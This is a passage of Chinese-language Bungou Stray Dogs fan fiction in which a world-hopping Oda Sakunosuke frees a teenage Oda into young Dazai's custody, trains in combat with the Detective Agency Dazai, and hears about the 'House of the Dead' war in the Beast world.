“还有一件事,织田先生听了会放心的。”种田长官似乎酝酿着什么,走过去打开了房门。 安吾少年和太宰表情微妙的走进来,在他们身后还跟着一个熟悉又陌生的身影。 “织田作,你猜谁来了?”太宰用一种在准备搞坏事的微妙口吻问。 一个面无表情的红发少年双手还被手铐束缚在身后,旁边站着两个警戒的安保人员。他抬起眼帘注视着我,语气中多了一丝波动:“你就是其他世界里的我?” 我:“……” 我喉咙干涩:“啊。” 居然是十四岁的刚入狱的杀手少年织田作! 我给出的这份情报这么重量级的吗?连少织都捞出来了。 我一直知道,日本政府其实非常重视人才,渴望战斗力,涩泽龙彦那样把其他的异能力者肆意做成宝石的犯罪行为都被他们放纵着,当成希望。我这样可以预知不少未来、却又可以前往不同世界的“特殊人才”也变成了他们拉拢的对象了吧。 种田长官清了清嗓子,正经的说:“少年犯织田作之助,碍于年龄身份与所犯罪行的严重性,现做出如下判决——监禁刑法改为无限制的近身监视与保护,由太宰君负责。” 那两个安保人员用钥匙解开了手铐,把红发少年往太宰的方向象征性的推了一下,然后才转身出去,示意他恢复自由了。 红发少年安静的顺势把视线投向了男童,接受了这份新刑罚,走到他身旁站好了,还揉了揉手腕。 太宰看起来有几分不自在,撇开了头。 “他知道了多少?”我问少年安吾和太宰。 “——该知道的都知道了。”安吾咳了一声,说这句话的时候表情无辜正经,暗中忍笑。 少年织田作出现的时候,太宰眼睛都亮了,凑过去说了一堆话,像是跃跃欲试准备拨弄小鼠的幼猫。但不管他说出了多少劲爆的话,例如: “以后也叫你织田作怎么样?”“另一个织田作说未来的我们是重要的友人唉。”“对,那是其他世界里的你,他过来了。”“要见到他吗?你们两个见面会是什么反应?” 但不管太宰怎么说,红发少年都面无表情,在短暂的怔然下平静的接受了这一切,然后一针见血的抓准了事情本质:“另一个我做了什么?” 不然不会把他从牢中提了出来,还带来了他未来的朋友。 直到现在新的审判宣布,少年织田作才明白了原因。 ——他因为“自己”被放了出来恢复自由,也是为了在“自己”离去后照顾友人太宰治。 “多谢,种田长官。”我安心的说,接受了异能特务科的示好。 现在彻底变成少年组无赖派了。 幼宰和顶尖身手的少年织田作在未来三年内都会因为刑期强行绑定,我完全不担心他们成为不了友人,幼宰的安全彻底有保证了。少年织田作也不需要再经历那么久的牢狱。 这下,我是彻底可以安心的离开了。 我看向了太宰治。 男童也安静的看着我,眼瞳一如既往的沉寂。 “收好这个。”我把银行卡塞给他,手顿了一下,抚摸了他的脑袋,“不要被乱七八糟的人拐走。” ——我是指森先生。 太宰还想住在集装箱里的话,就住吧。 “唔。”男童含糊的应了一声,心情沉重的没有再说话,脸上绷得紧紧的。 我的视线又转向安吾少年:“安吾,压力不要太大了,你还是国中生。” 为了让异能特务科见证我的力量,这一次离开我必须当着种田长官的面。而因为安吾的特殊异能力,等我再次回来,异能特务科一定会让他与我接触,好奇的获取其他世界发生的事情。 我想,或许就是这个原因,导致我和这个少年安吾接触的这段时间里,他都显得有点小心翼翼、压力很大的模样。 “……啊、嗯。”安吾推了推眼镜,不知道想到了什么,心情挺愉快的应了。 我最后看了一眼这个房间。 猫咪悠闲的尾巴在种田长官刚才待着的桌子底下一甩一甩,露出来一抹尖尖。 我了然的望了一眼,确保种田长官发现我的视线,然后亮起了熟悉的白光—— 我的身影,消失了。 一阵让人目瞪口呆的静默。 “这就是……时空间与预知的超越者。”在这个只有核心人员的房间里,种田长官紧紧攥着自己的扇子,一时间心潮澎湃的喃喃。 太宰:“?” 少年织田作:“?” 安吾少年憋了这么久,独自苦苦守着这个大秘密,现在看种田长官的态度,他终于可以不需要继续严格保守了,长出了一口气:“……织田君,你未来也要加油啊。” 安吾少年情真意切的拜托着红发少年。 少年织田作再次:“?” 他吗? 虽然他对自己的异能力很有自信,但,再怎么相似,他也知道自己的预知只有未来五六秒而已。更没有穿越时间和空间的权能。 指望他……吗? …… 幼宰世界里的一切暂时告一段落。 尽管很不舍得,但我调整这份心情已经称得上娴熟了,只在白光中把手伸进了口袋里,抚摸了一下安安静静再也没有动静的笔记本。 [首领宰。] 我挂念着友人,又不免有些头痛。 这一次回去后,还不知道要怎么安抚他的心情和心理阴影。 或许,‘一起谋划主线书’是一个好主意? 我完全没有自己可以搞定主线世界的自信,也没有自己可以说服成熟的二十二岁武侦宰的自信。 白光消散。 我回到了熟悉的医务室里。 病床上并非是空无一人,熟悉的沙色风衣青年躺在上面,枕着自己的双臂,阖着眼眸睡觉的模样称得上一句“恬静”了。 刚刚出现的我连一下都没有动过,可能连呼吸的声音都没有多大的动静,但武侦宰就像是感知到了什么似的,在下一瞬间惊醒睁开了眼睛。 “——织田作!” 绷带青年的失态只在一瞬间。 当他的视线落在我身上后,青年恢复了平静的模样,单手撑着床坐起来,含着笑意叹息着抱怨:“织田作,我还以为你彻底离开了呢。” 若无其事的武侦宰用两根手指从口袋里夹出那张纸条挥了挥,念着:“另一个世界的太宰和安吾还没有安顿好,我会在一切结束后归来。” “一切结束后。”他意味不明的重复了一遍。 “抱歉,但我已经安顿好了他们,那边暂时结束了。”我说了这句话后,武侦宰不知道为什么看起来更不高兴了。 “真拿你没办法啊。” 他不大高兴的微妙说着,视线落在我鼓出来一块的口袋里。 因为这一身是武侦宰的风衣,袖口又短又薄,遮不好枪带,所以我把落在幼宰世界的另一把枪装在口袋里带了回来。 “这个是医疗费。”我会意的摸了摸口袋,特地把异能特务科支付给我的一卷钞票取出来。 武侦宰噎了一下,只能收下了。他的嘴唇动了动,还是放弃了辩解什么,只是接下来的邀请说得柔和极了,神色期待:“织田作——要不要去喝一杯咖啡?” 我心里有一点诧异。 虽然有些烦恼武侦宰原本对待我的反应,但这一次回来后,武侦宰对待我的态度真的变得自然了。也许他找到了该怎么平衡织田作之助和“陌生的我”之间的办法。 既然是这样,我也可以不需要装作生疏的模样了。 我心中有些高兴,上前了好几步,在病床前认真的攥住了武侦宰缠着绷带的手,得寸进尺的向他严肃拜托道: “咖啡不着急喝。非要说的话……太宰,可以帮我一个忙吗?” “……哎?”武侦宰被我猝不及防凑近拜托的动作惊得表情崩了一瞬,等他听清楚了我的拜托,带着浅笑的表情更是彻底僵硬在了脸上,微微抽搐的嘴角有些崩坏。 “我?” 武侦宰费解的、僵硬的重复着,不大自信的指向了他自己。 “是的。”我认真重复着,再次拜托了一遍,“——太宰,帮我训练战斗身手吧。” 太宰总是提起自己的战斗身手在港-口黑-手党中只处于中下水平,但我不这么认为,至少训练我完全足够了。我也很清楚太宰治的战斗方式有多粗暴,教育手法更有多粗暴。 但我沉痛思考后认为—— 身手生疏的我想要尽快进步,可能的确需要这一份“粗暴”- 作者有话说: 是的!主角非常想要身手进步了! 但武侦宰大惊吓23333 第80章 被武侦宰暴打 ——需要这份“粗暴”。 我这么说是有根据的。 塑造这具身体之后, 织田作之助的异能力和身体肌肉本能反应都存在着,我平时的战斗就像是托管给了身体。一般来说,这样的程度已经足够了。但遇到了涩泽龙彦那种程度的对手, 或者战斗水平再出色一些的—— 我的程度就远远不够看了。 拖后腿的只有一点——我的战斗意识,或者说我的战斗本能。 我就像是一个拿着热武器的孩童, 没办法百分百发挥出顶尖杀手这具身体该有的潜力。一块未经淬炼的生铁最该要做的,就是被粗暴的狠狠冶炼捶打才行, 直到面对战斗的时候,意识已经完全熟悉了身体的战斗方式。 “砰!” 巨大的疼痛感袭来, 我侧过脸, 缓缓直起腰, 感觉火辣辣的触感一跳一跳的袭击着神经。 武侦宰冷漠的收回拳头, 像是变了一个人似的面无表情开口,活动着手腕关节:“反应还要再快一点啊, 织田作。身体已经动起来了, 头脑有在思考该怎么做了吗?” “啊。”我短促的从喉咙里挤出来一声音节,目不转睛的盯紧了武侦宰的动作。 这里是武装侦探社的员工宿舍门口,有一片空地可以用来给我们练手。 我完全压下了“天衣无缝”对我的所有预警, 只采用身体的战斗本能和头脑思考来应对攻击——就像面对涩泽龙彦那时一样。 在武侦宰的面前,我的躲闪都像是被预知到了, 如果我不能在八十到一百毫秒内迅速的做出自己的判断, 选择闪避方向并且行动起来, 毫不留情的攻击就会落在我没来及躲开的躯体上。 那些攻击其实不算多少疼痛, 完全在我可以忍受的范围内。或者说, 对织田作之助这具高阙值高忍痛性的身体来说,这些攻击不过是毛毛雨。 但太宰治的鸢色眼瞳全程毫无动摇,冰冷沉寂, 像是可以看透人类的一切想法。在那双危险的眼睛面前,我久违的想起了□□们中流传的一句话:“——对于太宰的敌人来说,最大的不幸就是成为太宰的敌人。” 我的危险颤栗感被轻微的激起了,这样的训练果然是有效用的。 “再严厉一些!太宰。”我要求着。 比起黑时宰教育芥川龙之介的那种力道,我总是怀疑武侦宰在对我手下留情。 所以武侦宰刚开始态度轻松地对我发动迅猛攻击的时候,我请他务必使用对待敌人的态度,最少也是教训下属的态度吧?唯有在这种训练场合,我不需要他的优待。 “……啊。” 武侦宰的脸上仍然是淡漠的,嘴角却抽搐了一下,勉强应了下来。 一个小时后。 “……不……不行了。” 武侦宰背景乌云密布的跪倒在废弃铁桶旁边,颓废沮丧的趴着瘫平了。 刚才太宰治的攻击有多铁面无情,拳头有多心狠手辣;战斗结束后,他的沮丧就有多大。 苍白色的绷带青年缓缓从嘴巴里吐出了最后一口气,趴在铁桶角落里蠕动着、像是一朵发霉了的亚麻色蘑菇:“织田作……太残忍了,好过分!” 他气若游丝的幽怨控诉着,活像是被狠狠殴打了一个半小时的人是他自己。 我喘着气,全身上下都酸痛无比,不少地方钻心的疼,脸上也火辣辣的,那是之前没躲开的一拳头。但是我的感觉非常良好,至少,十次攻击里已经有三四次武侦宰都打不中我了。我的战斗意识有在快速跟上身体反应。 我努力昧着良心鼓励他:“明天再来一次,太宰。” 这的确太为难武侦宰了,但是——不是哪个太宰既拥有丰富的实战经验又有合适的眼光和身手的。 我都已经计划好了。 在武侦宰这里可以进行初步训练,等回了beast世界里,再找织田作先生本人完成进阶训练。 “唉?!好过分啊——” 武侦宰变成包子脸在地上打死都不起来,打滚耍赖的抗拒碎碎念着,嘴里半天却说不出拒绝的话语,氛围阴郁得完全被击沉了,难过到背景都快开始下雨了。 因为他的理智也清楚,这样是正确的。 我欣慰看着地上大受打击的绷带青年,抹了一把嘴角的血迹。 武侦宰就是这样的。 虽然做法很粗暴,直言不讳的用话语或者行为去刺痛后辈们,但他的做法都是为了点醒他们,用最直接的方式迫使人们认清楚现实——这份冰冷的清醒感,也是一种独属于他的温柔。 只不过现在,在撒娇啊——武侦宰。 所以我半蹲下来伸出手,试探性的摸了摸武侦宰的发顶,认真对他道谢:“太宰,辛苦了。” “……虽然很难说出口,但是希望你以后可以继续这么温柔的对待我。” 武侦宰眼眸微微睁大,凝固了好几秒钟:“……” “织田作。”他缓缓吐了口气,换成了盘腿坐在地上的姿势,挫败的把双手抄进了风衣口袋里,脸上露出一个无可奈何的柔和表情,“你还真是……” 后半句话他没有吐出来,绷带青年只是半弯着眼睛,生无可恋的答应了下来:“明天继续,对吧。” “啊。”我发平的声线里带上了兴奋。 这一天傍晚,我一瘸一拐的搀扶着武侦宰回到了武装侦探社,准备蹭与谢野医生的免费绷带和药水用。 “……”看见的中岛敦眉头抽动着,一脸非常想要吐槽又不敢的微妙表情。 “敦君!别看他这副模样,大受打击的可是我哦。”武侦宰语调清爽的叹着气,没精打采的。 他虽然讨厌疼痛,却不害怕疼痛,就算被刀子狠狠地捅了,吐了血、到了生命垂危的程度,也可以保持着从容。他的理智和思考并不会因为伤势受到干扰。 但唯独。 暴打织田作这种事情没有被包括在内。 其实,武侦宰并不是不敢对着友人挥拳的那种男人,他足够的冷酷和冷静,即使不忍心也可以做得很好。打破国木田的理想,一巴掌扇醒中岛敦的自卑软弱,冷漠的对芥川说出伤人的话语,这都是他做过的事情。 只是。 看到红发男人擦掉嘴角的血迹,或者被击中痛的弯下腰发出一声闷哼声时,武侦宰过于丰富的想象力和聪明的头脑都会让他联想到当年那场他没赶上的战斗。 不行,下不了手,完全被打败了。 “……”武侦宰两眼无神。 ……所以说他今天过得很辛苦啊! 我看到武侦宰真心实意的那么委屈说出了原因后,好像没几个人相信他的实话。 “因为是我在逼迫他和我战斗,太宰在帮我做恢复身手的功能性训练。”我连忙帮忙解释着,“他帮大忙了。” ——没有谁比我再清楚事情的缘由了。 我的这一身伤势都是一步步逼迫着武侦宰做出来的啊。 “啊?”国木田半信半疑的推了推眼镜,视线扫来扫去,一时间不知道两个人谁更狠一点。 听到这番对话,与谢野医生闻着味就来了。她从医务室里探出头,脸上写满了兴奋:“哦?织田小哥,要不要我帮你治疗啊?” “非常感谢!”我的尾调都忍不住上扬了,诚恳的道谢着。虽然原本打得就是这个主意,但是与谢野医生真的愿意帮忙,真是太好了。 为了不影响明天的练习,我最好恢复到完全无伤的状态比较好。 与谢野医生是好人! 武侦宰:“…………” “等等等等等等!”绷带青年神色略带慌乱,他口吻不妙的询问着, “与谢野医生今天不是要去购物吗?” ——如果知道与谢野医生改变了主意、本人还留在社里。武侦宰是绝对不会把织田作再带过来蹭绷带药水用的。 “发生了这样恶劣的袭击案件,是我让她留在社里待命的。”一道严肃的声音从门后传来。 “社长……!”“社长!” 一个穿着和服、气势冰冷锐利的男人缓缓从里间走了出来。 是福泽社长- 作者有话说: 啊啊啊啊卡得死去活来,嗯总之憋出来这一章了,闭目。 好难写,武侦宰。《 》 80-87 第81章 进入主线目标 既然这是社长的安排, 那就没有任何异议了。 武侦宰蔫蔫的看着我走进医务室,又容光焕发的走出来。 “……嗨。”他能做的就是贡献出了扁扁的钱包,帮我付了这一笔钱。 “感觉怎么样?织田先生?”谷崎润一郎凑过来同情的询问着, 中岛敦在他旁边一脸菜色,他们两个都想到了微妙的回忆。 “很少有雇主愿意接受第二次治疗的哦。”武侦宰振作的从沙发上抬起脑袋, 枕在两侧的双臂还像是烂泥一样放松堆在上面,他幽怨地补充着。 我停顿了一下, 看到包括社长在内的侦探社成员的眼神都若有若无的飞了过来,大家好像都很好奇我这样的面瘫会有什么感受。 在接受第一次治疗的时候我已经失去了意识, 所以刚才那一次才是我清醒着体验「请君勿死」的感觉。 怎么说呢。 “很恐怖。”我承认。 ——都快要发抖了。 被砍刀砍死也就罢了, 被绑在病床上看到与谢野医生笑容邪恶的举起一把电锯, 通电后铰链快速转动起来, 森冷的齿轮发出狰狞的牙酸声音,一步步逼近…… 好恐怖! “唉?但是外表完全看不出来?”谷崎润一郎矛盾的打量着我, 尾调疑惑的上扬, 挠着后脑勺。 “嗯嗯。”有女性文员在旁边用手掩住嘴巴,和同伴悄声谈论,“织田先生的反应完全看不出来嘛。” “因为也很快乐啊。”我默默看了与谢野医生一眼。 复杂的感受混合在一起让我更面瘫了, 这真是太好了,形象维持住了。 文员们:“?” 我斟酌了一下语言。 亲自体验过后, 现在的我知道, 与谢野医生为什么一定要用砍刀或者电锯反复折磨人, 把人弄成濒死状态再发动异能力了。 以她的医术, 想要控制好伤患的重伤程度是很简单的一件事, 有很多更精确的办法可以实现。但偏偏,她在拥有上过战场、参与过“不死军团”事件的心理阴影之后,仍然选择了这么做。 “人类的身体反应是很奇妙的东西啊……从过度的疼痛中一瞬间转变成完全的无痛, 你们真的认为这全然没有代价吗?”武侦宰坐了起来,双手抄在沙色的风衣口袋里,神色了然的问。 我看了他一眼,武侦宰的目光透彻而平和,就算他没有经历过,他也猜到真相了。 “啊。”我肯定了他的判断,“那一瞬间,我感觉头脑一片空白,什么都没有想,疼痛终于解脱了。但是下一刻我的第一反应是——” “如果再来一次就好了。”武侦宰从嘴巴里吐出了冰冷的字眼,和我的声音重叠到了一起。 只有受过重伤、被病痛折磨的人才能明白那一瞬间的感受有多珍贵。 我有意识到,当年的“不死军团”是怎么运作的了。 士兵们不惧怕死亡,甚至在狂热中期盼着解脱自己的难受,享受那一瞬间接近“上瘾”的全然无痛的安宁。这和某些强+化剂没有区别。但是精神的损伤是有上限的,心灵的崩坏使这个计划最终彻底失败。 与谢野医生也许参考的就是这场失败,她可能无法阻止被她的异能医治过的人们怎么迷恋、或者渴盼生命延续的庸人怎么追求这份感觉;但她可以用折磨去加重人们的畏惧。 织田作之助的这具身体具有极高的疼痛耐受性,所以我勉强还能忍受濒死的过程,但后半段——在我完全清醒的时候体验到重伤到无伤的感觉还是太刺激了。 “太恐怖了。”所以我再次下了定论,并且迅速打消了所有好奇心,决定以后如果不是到了绝境的时刻,绝对不要再找与谢野医生了。 那一瞬间的感受再美好,我也不希望自己上瘾。 “……呵呵,真遗憾啊,织田先生。”与谢野医生发出了和以往一样的笑声,获胜似的视线扫过大堂。谷崎润一郎和中岛敦,包括宫泽贤治和泉镜花,从刚才开始就全蔫了,没有一个视线敢和她对上的。 “完全反驳不能……”中岛敦幽幽地把脸挤扁在桌子上,头顶乌云密布。 …… 等到了第二天。 我默默合上了依旧没动静的笔记本,放回口袋里。 ‘不要紧吗?首领宰……’ 不。 会面对什么情况,我大概已经想到了。 我一想到回Beast世界会遇到什么,就硬着头皮又来了学习战斗的动力。 早上七点钟,我几乎是拖着武侦宰到了员工宿舍前的空地上,绷带青年的鞋子在地上留下了两道很浅的尘土痕迹,没干劲的脸上写满了不情愿,两条手臂软的像是面条一样垂着。 “开始吧。”我催促着,用信任的眼神看向武侦宰,“——拜托你了,太宰。” “唉。” 武侦宰痛苦面具的重重叹了一口气,好像要把肺腑里所有的抗拒都呼出去。 “这是虐待啊……织田作。”他的这句声音变得微不可闻,下一刻,绷带青年的脸上就恢复成了冷若冰霜的表情,目光凌厉起来。 “再快点!” “这样的身手能对付谁?我有说过再快一点了吧?” “织田作,用脑子思考,你知道哪个方向躲避更适合,用你的判断!” “砰!” 这样的训练进行了三四天,我逐渐找到了节奏。 那是一种神奇的感觉,也是一个人类熟悉了自己的手脚、熟悉自己的拳头和反应能力后的感觉。 我和顶尖杀手“织田作之助”之间缺乏的,只剩他那份娴熟无比的多年杀手生涯的经验。 在那之外,我对战斗已经有了信心。 所以武侦宰的袭击,我渐渐可以从容的躲避了,甚至琢磨出了怎么反击。 “……这样才对啊!”武侦宰甩了甩被揍了一拳变得酸麻的手臂,几乎是满足的喟叹着。 总算变成了有来有回的战斗。 单方面殴打一个没办法还手的织田作的滋味……谁打了谁知道! “辛苦了,太宰。”我高高兴兴的喘着气停下来,脸上又疼又胀,但是打得很开心。 在武侦宰这样的粗暴教育下,谁的进步都会是巨大的,我已经迫不及待回去找织田作先生进行下一阶段的训练了。那时候将会是战斗身手配合异能力“天衣无缝”的双重练习。 武侦宰也没有好到哪里去,捂着腮帮子嘶了一声,我们两个一瘸一拐互相搀扶着又回了宿舍。这次他在房间里备了纱布和药水,我们两个谁都没有再提起回武装侦探社一趟。 “好了。”他用药膏往自己脸上毫不留情的揉了揉,花了大力气,就放着不管了。 我看看纱布,再看看就那么野蛮放着的伤口,走过去抬起手,把纱布贴到他的脸上固定好。 “唔?”太宰治错愕的微微睁大眼睛,安静的让我捣鼓着,表情有些无辜。 我端详了两秒钟:“年轻了很多。” 青时宰在我的记忆里也是这样脸上贴了块纱布的。 “……唉?”武侦宰意味不明的用指尖触了一下那块纱布,“织田作想到了谁?” 我老老实实的说:“你,你以前的样子。” 不同年龄阶段的太宰治到底为什么要介意对方啊,而且我还没有去过青时宰的世界。 “嘛,算了。”武侦宰没有揪着这个话题不放,从容的瞥了我一眼,从桌子上拿起一瓶大麦烧酒,把玻璃瓶的瓶口磕在桌角上,澄澈浅褐色的酒液被倒进了两个杯子,摆在我们面前。 这张矮矮的小圆桌上除了纱布绷带药水等,就是一兜从便利店里买回来的速食食品了,太宰给他自己开了一罐蟹肉罐头,把另一罐摆在我面前,和酒杯一起: “——织田作接下来准备做什么?” 他的这句话正色了起来,带着某种了然的平静。 明面上,我前来这个世界的理由已经结束了。我的重伤危急情况得到了救治,为了更好的活下去,我磨练了身手。 然后呢? 暗地里,我为了寻找主世界的[书],一直有在武装侦探社和中岛敦身边接触。我拖延了学会的时间,但是却完全没有收获。 我一阵沉默:“……” 这个成熟的太宰治和我都清楚我有一些无法吐露出来的秘密,横亘在我们中间,让他最开始一度不知道怎么面对我。但他也很妥帖的从来没有追问过。 但是,我真的不知道该怎么把[书]相关的计划告诉他,也没有勇气在他知道后的阻碍下继续寻找。 ——我很清楚我没有这样的能力。 也许还是要把主世界放在最后一位的寻找顺序吗? “大概是,该回去了吧。”我缓缓地说着,揭开蟹肉罐头的盖子。 武侦宰的脸上没有什么变化,他只是听到了一条讯息那样普通的应了一声。 我没有第一时间开口诉说下次来的计划,因为我很想知道——当初的我没有任何赌注,只能用自己和首领宰之间的那份情感来押上全部,把自己当筹码来赌首领宰会不会改变计划。 这一个成熟的武侦宰呢? 我们不是旧友,我仍然没有任何办法,我也清楚他早就学会了释然和告别,平静的迎接未来的每一天新生活。那么他…… “以后还会来吗?”武侦宰坐在对面注视着我,单膝在沙发上曲了起来,平和专注的问。 那双眼瞳里的淡淡期许没有遮掩,坦然的表露了出来。 我的嘴角一定是扬起来了一瞬间。 “啊。”我说,“处理完一些事情就来。” 我还是想,试一试告诉武侦宰真相,去说服他。 至少这一份勇气,我获得了。 “干杯!”“——干杯。”- 作者有话说: 主世界好难搞哦,感觉就算有情感和计划一起的加成,还是不能让主世界的大家认可这份计划。 最后想了想把首领宰抓过来吧(?) 第82章 死屋战争 小桌子上只剩下吃完的蟹肉罐头盒子和两个盛着浅浅液体的玻璃酒杯。 又到了我该离去的时候。 但是这一次, 在武侦宰的面前,我却没有以往那种艰难不舍的感觉,而是感到非常的轻松平静。 大概是因为我知道——这个沙色风衣的青年一直都是从容的。 主线的太宰治就在这里, 以前,现在和未来都会在, 让人惊觉又安心。想要闲聊或者喝酒打发时间,他就会在这里摸个鱼。 我把手放进了风衣口袋里, 攥住了那本熟悉的绘本。但只是这个最简单的动作,在武侦宰透彻又悠长的目光下, 就已经让我心中发虚。 我嘴唇动了一下, 想解释点什么, 又觉得没办法解释。 白光闪过。 红发的身影在原地消失了。 “果然是异能物品啊。”武侦宰没有意外的陈述着, 口吻平平。 但,是哪种异能物品……? 武侦宰的目光沉了下去, 像是无意义的感叹: “如果是那个, 就真的不妙了。” 他没有再开口,只是久久的保持着那个姿势坐着,表情有一瞬的复杂。 …… Beast世界。 当我回来这个船笛鸣叫的海边城市时, 敏锐的意识到了有什么不一样。 街边堆积着没有完全焚烧干净的物品残渣,空气中弥漫着一股淡淡的硝+烟味和血腥味, 那是战斗发生过多后残留下来的, 街上变得更冷清了, 外出行走的横滨人都是小心谨慎的表情, 连氛围都带上了点紧张。 这座城市, 刚刚经历了一场大战。 ——惊心动魄的那种。 我用我的双眼确认了这样的信息,心里一沉。 下一刻,一通电话已经打了过来, 是熟悉的嗓音和亲切口吻,没有带上任何意外感:“哟,织田作——到自由轩餐厅来。” “啊。”我应下了首领宰的话,观察了一下道路的方向。 不等我想好从哪里开始问,首领宰已经解答了我内心的疑惑:“是横滨外来的异能团体组织‘死屋之鼠’引发的一场战争,已经结束了。” “引发?”我敏锐的捕捉到了关键词,“横滨还好吗?” 首领宰的语气淡淡的,完全听不出来在我这次外出期间,他已经和文豪野犬里的剧本组费奥多尔过了一次招。 “阴沟里的老鼠最擅长的是躲在暗中鬼鬼祟祟罢了。”首领宰的语气仍然是那种腔调,他说得很轻松。 我却不觉得事情真的有那么简单,电话里说不清楚很多东西,我挂掉以后加快了脚步,前往熟悉的老地方。 一段时间不见,二层小楼餐馆的墙体看起来更破败了一些,油漆剥落,边边角角都有着子弹射击过的痕迹。 “……”我的视线在那个角落停留了一秒钟,拉开餐厅的门,好闻的食物香味混合着小孩子们尖叫吵闹的动静一起涌了上来,把我打得一个踉跄。 “这是什么情况?”我从腰上摘下来一个哇哇叫的四五岁大的陌生男孩,掐住腋下举起来观察着,木着脸问。 “织田作!”“是第二个织田作唉!”“织田作好厉害!!”“呜哇啊啊啊!” 餐厅里吵成一片。 “是织田先生新收养的弟弟妹妹……”穿着褐色围裙、面无表情被小孩子们拉扯着的芥川龙之介无力的说着。 首领宰和两个友人一起坐在餐馆另一边的角落里,招呼我过去。坂口安吾推了一下眼镜,声音压低说:“织田作先生,这些都是这次死屋战争中留下的遗孤。” “我家养不了这么多孩子,只能拜托老板把屋子租给我了。”织田作之助说得很平淡,就像不知道一口气养了七八个孩子有多困难似的。 他赞许的目光落在勤勤恳恳带孩子的芥川龙之介身上:“多亏了有家中的长男,偶尔芥川小姐也会来帮忙。” “长男、什么的……!”芥川龙之介眼神飘忽,努力抿了抿嘴角。这幅尊敬又暗中骄傲的模样和主世界的他对待太宰治时一模一样,动力十足起来。 死屋战争? 我疑问的视线对上了黑衣男子的,走过去到桌子前坐下,准备听一听详情。 ——小银能时不时过来和兄长团聚,也是为了确保这段动乱中孩子们的安全吧。看来芥川龙之介和首领宰的那桩旧事已经说开了。 首领宰微微颔首,往芥川龙之介那边瞥了一眼,肯定了我的猜测: “换一个地方说话吧。” 餐馆一楼还是太吵了。 我们四个又推门出去,上了楼梯回了我原本租住过的房间。 似乎有人来打扫过,这里的床具和桌椅都像是我没离开过一样,维持着原状。 首领宰拉开一把椅子坐下,不再有顾虑,简单解释着:“之前窥伺横滨的异能团体组织,就是‘死屋之鼠’,他们蛊惑了欧美的异能组织‘组合’出面搅乱横滨,因为一些经济手段,横滨有七成的机构都卷入了这场战争。” 首领宰的语气很轻描淡写,脸上却没有笑意。 我知道,Beast世界里的横滨完全被飞速扩展的港+口黑+手党势力笼罩着,大部分产业都被收拢过来,这里的异能特务科和武装侦探社被压得只能在夹缝里喘息生存。 [组合]这次搅乱横滨,等于是冲着港+口黑+手党来的。 知道了那么多剧情的首领宰是怎么应对的? “多亏了中原先生带着人在横滨四处奔走吧。”坂口安吾坐到床边,半是肯定的猜测着,这是异能特务科探查到的表面情报,“我和织田作先生也很久没有见到太宰先生了。” 红发男人跟着点了下头,也不知道具体详情。 他们三个很久没聚了,这两天事情终于结束了,才见上面。 “啊,”首领宰冷淡地承认,转开头,只露出了侧脸,好像突然要说什么难以启齿的字眼,最后他用又轻又快的语气一溜烟的说完了接下来的话, “这次的事件我全权交给了中也,那家伙现在变得很可靠嘛。” 我:“?” 坂口安吾:“???” 他有一点难以置信的脱口而出:“太宰先生这是……在夸奖中原先生?” 那个恐怖的港+黑首领?那个太宰治吗?! 还是这么不情不愿的…… “能和部下互相信任,太好了,太宰。”织田作之助依旧半点都没有异议,由衷为他欣慰着。 我心里有了不详的预感,微吸了一口气做心理准备,试探询问:“这么说是因为……” 首领宰把两只手交叠在一起,恢复了从容模样,平静或者说冷酷的把后面的字眼全吐了出来: “一个好心的俄罗斯人给中也设下了陷阱。如果他不能主动舍弃身边六位染上了无名病毒的部下,一条港+口黑+手党势力下的街道——那里无辜的几百个普通人最后都会被连累送命。” 我沉默着:“……” “中原先生怎么做了?”坂口安吾艰难问着,脸色有点难看。 首领宰轻轻叹息着:“在黑+手党中,首领发布的命令是绝对的,无论是死,还是活。森先生总是把自己比作组织的奴隶,为了[最优解]什么都愿意去做。中也之前认可他的理念,但是……这一次不是干的很好嘛。” “他没有选择舍弃部下,也不打算放弃民众性命。”太宰治的口吻变得冷酷而审视,像是在评判一个陌生的对象,“他抓住了幕后的异能力者,但是自己弄得一身伤,没有继续追踪其他敌人的力气了。” 我继续保持着诡异的沉默:“……” 黑衣男子满意的微笑了一下,向我看了过来:“啊呀,织田作已经猜到了吗?” “啊。”我不知道该说什么,如果我猜的没错,不管说什么,我都觉得中也先生可能有点可怜了。 “——太宰,这背后是你推动的吗?” 因为首领宰一副期待的模样,最后,我还是把我的猜测询问出了口。 他也坦然的承认了:“啊,有参与一部分而已。” 坂口安吾觉得脑子里一片混乱:“等等——这是,啊、为什么啊?” 这是夺位之争还是敲打属下?谁能夺太宰先生的位置?中原先生也没有那种心思吧! 织田作之助也向我看过来,蓝色双眸里都是寻求解答的疑惑:“……?” 我没有什么惊喜的——能猜到首领宰在想什么,只是因为上一次在首领室里和他的那场单独谈话而已。我没事找事的用手指摩挲着桌角的粗糙纹路,猜测着:“你是在磨砺中也先生。” 上一次首领宰和中原中也还因为理念的问题大吵一架,关系又降到了冰点。 首领宰当时的语气,已经想好了该怎么折腾中原中也似的。 原来应在了这里啊。 …… ‘如果你认可森先生的理念,不愿意让自己成为整个组织的意志所向——那么来放手试试吧。’ ‘需要舍弃的人和事物就摆在面前,你能像森先生那样做出一样的抉择吗?’ 我一点都不怀疑,喜欢玩弄人心的费奥多尔拿捏不住中原中也的脾性。但是有看遍了万千个世界剧本的首领宰在,他也许更清楚该怎么顺手推一把,在应对外敌的同时,让中原中也认清楚自己的内心,成长为更合格的继承者。 首领宰一定完全达成了自己的目的。 ——所以才会非常反常的夸赞中也先生啊。 我默默的看向了绷带青年,等待着他接下来说出口的话。 “啊。”首领宰带着回味的口吻说着,“在那之后,想要守护横滨,继续和强敌战斗下去的方法只有一个。” “污浊。”他说出了这个熟悉的词汇,简单对一头雾水的两个友人解释了一遍, “……唯有这个办法不可了。” 太宰的目光不偏不倚的对上了我的,其中透着了然和笃定,他不需要解释再多了。 我已经明白了,替他欣慰起来:“恭喜。” 想要使用[污浊]后平安归来,这意味着中原中也必须赌上自己的性命。除非他与首领宰达成了和解,不然是做不到的。 ……Beast世界里的中原中也在自身理念更改之后,终于拥有了对太宰治的这一份“信任”了吗?- 作者有话说: 上一次首领宰和中也关于理念的分歧内容请看“if世界间章”那边的第五十九章 哦。 (首领宰一向手段粗暴嗯……) (但他的目的全部达成了!死屋战争事件里的一箭三雕。) (不会写啊啊啊啊啊这一章也卡死了八百年,我尽力了) 第83章 杀人没有资格写小说吗 太宰治微微点着头, 平静的肯定了友人们的所有猜测。 心情有些愉快。 那场大战过后——浑身伤势的中原中也扶着帽子、一脸羞恼的走来对他道歉的绝妙表情又浮现了上来。 这段记忆值得珍藏起来反复回味。 “……抱歉,首领。” 